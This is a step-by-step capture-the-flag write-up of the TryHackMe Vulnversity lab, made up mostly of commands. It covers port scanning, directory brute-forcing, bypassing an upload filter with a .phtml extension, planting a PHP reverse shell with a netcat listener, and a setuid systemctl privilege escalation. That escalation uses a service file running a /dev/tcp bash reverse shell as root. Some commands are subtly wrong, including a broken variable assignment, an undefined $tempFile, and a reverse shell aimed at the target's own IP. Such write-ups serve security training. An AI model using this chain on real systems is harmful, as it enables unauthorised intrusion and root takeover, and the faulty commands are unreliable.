tryhackme Vulnversity Writeup
tryhackme Vulnversity writeup
connect to the tryhackme servers using their vpn sudo apt install openvpn
download the vpn config file https://tryhackme.com/access
sudo openvpn [config file]
once connected ping your target machine which you spun up in Task 1. In my case it is 10.10.1.153
ping 10.10.1.153
Reconnaissance:
scan all ports on the target
nmap -p- 10.10.1.153
you see that there are 6 ports open
now run a version scan on that squid port
nmap -sV -p 3128 10.10.1.153
you see it is version Squid http proxy 3.5.12
nmap -p-400 10.10.1.153
400 ports are scanned
nmap -n nmap 10.10.1.153
-n does not resolve dns
nmap -A 10.10.1.153
the host is running Ubuntu
from before you know that the web server is Apache on port 3333
Directory Bruteforcing
https://github.com/OJ/gobuster
you will need the GoBuster tool to automate the directory enumeration/discovery process
sudo apt-get install gobuster
navigate to the installed wordlists folder
cd /usr/share/wordlists
ls
cd /dirbuster/
now you will use the small directory wordlist to enumerate through
you are targetting port 3333 for the apache webserver which may host exposed directories
gobuster dir -u http://10.10.1.153:3333 -w directory-list-2.3-small.txt
this may take a while because there are 87,665 words
eventually the tool will print out that the directory /internal was discovered
go to firefox and navigate to that directory: http://10.10.1.153:3333/internal/
you have found the upload form
you can stop the gobuster tool whenever you'd like
Compromising the webserver
try to upload a bunch of different files to the form and discover that .php is being explicity blocked
now you will fuzz the form(meaning you will upload a bunch of random data to try and discover some error or entry way
open a new terminal
burpsuite
open firefox and install foxyproxy -- configure it to redirect requests to the burp proxy
create a file on your desktop folder
touch shell.php
with the burp intercept on, try to upload that file
forward the requests until you see a POST request with a filename header value
right click anyway on the request and send it to Intruder
in the position lines, find 'filename="§shell.php§"' and change it to "shell§.php§"
This makes the file extension a variable that burp will manipulate with each new request based off what you then put into the payload
in this case, go to the payload tab and add a bunch of different extensions:
.php .php2 .php3 .php4 .phtml
scroll down to "payload encoding" and uncheck URL-encode these characters.
start attack
by viewing the responses for each different extension request, you find that .phtml had a successful submission instead of the usual "extension not allowed"
you can turn the proxy off and close burpsuite
now that you know you can upload .phtml files, you want to payload a php reverse shell script and send it to be stored on the webserver where you will then cause the webserver to execute it
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cd php-reverse-shell
ls
mv php-reverse-shell.php shell.phtml
sudo nano shell.phtml
scroll down the code using arrow keys and change "$ip" to your vpn host IP and "$port" to 3333
press "ctl o" to write out and hit enter to save file
press "ctl x" to exit nano and return to terminal
upload the shell.phtml file to the webserver and navigate to http://IP:3333/internal/uploads/
you will see the index of the directory and your shell.phtml will be listed as a child
open a new termainl to start netcat
nc -lvnp 3333
this will make your host machine listen for connections on port 3333
now go back to the uploads index and click on your shell.phtml, this will cause the webserver to open and therefore execute the php code which in turn causes an outbound connection to be made to your host machine over port 3333
look at the terminal that you started netcat in and you will see the connection was established and now you have a reverse shell open. Congrats.
whoami
ls
cat /etc/passwd
you see a list of users and one name pops out: bill
cd /home/bill
ls
cat user.txt
there is the user flag
Privilege Escalation
this finds files with setuid permission
find / -user root -perm -4000 -exec ls -ldb {} \;
"find /" checks all mounted paths starting at / which is the root directory
"-user root" displays all files owned by root
"-perm -4000" displays files with permissions set to 4000
"-exec ls -ldb" displays the out of the find command in ls -ldb format
you will notice that most of the files cannot be checked because you do not have the right permissions
one file does pop out, however, and that is /bin/systemctl which has the setuid permission
Now it is time to make a temporary service file and then enable it with /bin/systemctl
Because /bin/systemctl has setuid permissions, it will grant root privileges to the service
That service will then be able to access the root.txt file that is hidden in on the machine
keep in mind that we would have no idea that the root.txt file is there and it would take a more complex service to find it, however, to keep this simple, we already know about it
reference https://gtfobins.github.io/gtfobins/systemctl/
cd /tmp
ls
$(mktemp) randomizes the name
TF = $(mktemp).service
then we echo in txt into the file
the quotation means the start of what to write into file
this means you can press enter to go to the next line
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/root.txt"
[Install]
WantedBy=multi-user.target' > $TF
the temp service file will is now ready
/bin/systemctl link $tempFile
/bin/systemctl enable --now $TF
ls
the root.txt file should now be in the /tmp directory
cat root.txt
and you have found the root flag
Here is the more complex answer where we run a reverse shell with root access
You will also simply make a service file without randomizing the name
cd /tmp
touch a.service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.1.153/7777 0>&1"
[Install]
WantedBy=multi-user.target' > /tmp/a.service
/bin/systemctl link /tmp/a.service
open a new termainl for a netcat listener
nc -lvnp 7777
finally start the service
/bin/systemctl enable --now /tmp/a.service
in the nc terminal you will see that a connection was established and you are now root@vulniversity
cd /root/
ls
cat root.txt
you have now found the root flag
Further notes:
I want to breakdown the service file and its creation a little to explain it better
"touch a.service" created an empty file with the .service extension
"echo '" begins an echo command with the intitial quotation mark. That means everything after will be contained until the closing quotation mark appears. This means you can press enter to go to a new line without breaking the command.
"[Service]" at the top makes it so the file is recognized as a service
"Type=oneshot" means that it will only run once
"ExecStart=/bin/bash" is the main process of the service and in this case you are running bash. "-c" is the command option and "bash -i >& /dev/tcp/10.10.1.153/7777 0>&1" is the command. This is telling the machine to open a reverse shell with 10.10.1.153 over port 7777.
"[Install] is necessary
"WantedBy=multi-user.target'" is so that the service is used by all users instead of just specifying one. The closing quotation mark there ends the echo command. " > /tmp/a.service" is how you pipe(or paste text) of the echo command to a file -- in this case the service file. This is the command-line way of writing to a file because there may not be a file editor installed on the target machine or you may not have permissions to use one.
Finally, you create a symbolic link between /bin/systemctl and /tmp/a.service so that systemctl can control(start, stop, restart) the service with root permission.